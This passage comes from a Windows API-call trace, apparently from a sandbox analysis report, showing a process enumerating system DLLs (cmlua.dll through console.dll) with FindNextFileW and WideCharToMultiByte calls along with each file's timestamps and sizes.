lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x1d7c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x1d7c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0031.344] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0031.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.345] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0031.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.346] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.347] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="console.dll", cAlternateFileName="")) returned 1 [0031.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 